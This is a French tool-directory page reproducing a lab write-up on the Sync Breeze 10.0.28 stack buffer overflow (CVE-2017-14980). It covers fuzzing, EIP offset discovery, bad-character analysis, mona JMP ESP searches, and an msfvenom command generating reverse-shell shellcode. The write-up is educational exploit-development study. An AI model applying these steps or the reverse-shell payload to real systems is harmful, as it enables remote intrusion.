Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-14980 — Étude d'une vulnérabilité classique de dépassement de tampon basé sur la pile dans un environnement de laboratoire contrôlé à des fins éducatives. | Kitploit
Outils/GitHubGitHub/godoy-sec/cve-2017-14980
ExploitationDébogueursFuzzingApprentissage et ÉducationGénération de ShellcodeDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubgodoy-sec/cve-2017-14980

CVE-2017-14980

Étude d'une vulnérabilité classique de dépassement de tampon basé sur la pile dans un environnement de laboratoire contrôlé à des fins éducatives.

Voir le dépôt
110il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - Recherche sur le débordement de tampon

Objectif

Étude d'une vulnérabilité classique de débordement de tampon basé sur la pile dans un environnement de laboratoire contrôlé à des fins pédagogiques.

L'objectif de ce projet était de mieux comprendre :

  • Le fuzzing d'application
  • L'analyse de crash
  • Le contrôle de l'EIP
  • L'identification des caractères interdits
  • La corruption mémoire
  • Le flux d'exécution du shellcode
  • La méthodologie de base de développement d'exploit

Environnement

  • Machine virtuelle Windows 10
  • Sync Breeze Enterprise 10.0.28
  • Immunity Debugger
  • Mona.py
  • Python

Configuration du laboratoire

La première étape a consisté à installer Sync Breeze Enterprise 10.0.28 dans une machine virtuelle Windows 10 configurée pour la recherche de vulnérabilités et le développement d'exploits.

L'environnement était isolé pour garantir des tests sûrs et contrôlés.

Les deux machines virtuelles (cible et attaquante) ont été configurées en mode pont (Bridged Network Adapter) afin de permettre une communication réseau directe entre les systèmes pendant le processus d'exploitation.

Client Sync Breeze

Client Sync Breeze

Page de connexion Sync Breeze

Connexion Sync Breeze


Méthodologie

1. Collecte d'informations

Des outils de débogage ont été configurés pour analyser le comportement de l'application au moment de l'exécution et observer les conditions du crash.


2. Fuzzing

De longues séquences d'octets ont été envoyées à l'application afin d'identifier la taille approximative du tampon nécessaire pour déclencher un crash.


3. Validation de la vulnérabilité

Après avoir identifié le seuil de crash, l'application a été testée de nouveau avec la taille de payload découverte afin de confirmer la vulnérabilité.


4. Contrôle de l'EIP

L'offset exact nécessaire pour écraser le pointeur d'instruction (EIP) a été identifié.

Générer un motif unique :

root@kitploit:~
/usr/bin/msf-pattern_create -l <SIZE>

Identifier l'offset :

root@kitploit:~
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

Où :

  • <SIZE> = longueur du payload découverte lors du fuzzing
  • <EIP_VALUE> = valeur de 4 octets observée lors de l'écrasement de l'EIP

Capture d'écran du contrôle de l'EIP

Contrôle de l'EIP


5. Analyse des caractères interdits

Les caractères interdits ont été identifiés afin de déterminer quels octets ne pouvaient pas être traités sans risque par l'application.

Fichier des caractères interdits


6. Identification de l'adresse de retour

Une instruction JMP ESP appropriée a été localisée dans un module sans ASLR activé.

Énumération des modules chargés :

root@kitploit:~
!mona modules

Recherche de JMP ESP :

root@kitploit:~
!mona find -s "\xff\xe4" -m <MODULE_NAME>

La préférence a été donnée aux DLL spécifiques à l'application en raison de la présence d'adresses mémoire statiques.

Capture d'écran Mona JMP ESP

Mona JMP ESP


7. Test d'exécution

Le flux d'exécution du payload a été validé afin de garantir une redirection correcte vers le tampon contrôlé.


8. Génération du shellcode

Le shellcode a été généré en excluant les caractères interdits identifiés précédemment.

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

Un NOP sled (\x90) a été ajouté avant le shellcode pour améliorer la fiabilité d'exécution du payload.

Capture d'écran de l'exécution du payload

Exécution du payload


9. Développement de l'exploit final

L'exploit final a été assemblé et testé avec succès dans l'environnement de laboratoire isolé.

Avertissement

Ce projet a été développé strictement à des fins éducatives et de recherche dans un environnement de laboratoire isolé.

Télécharger l’outil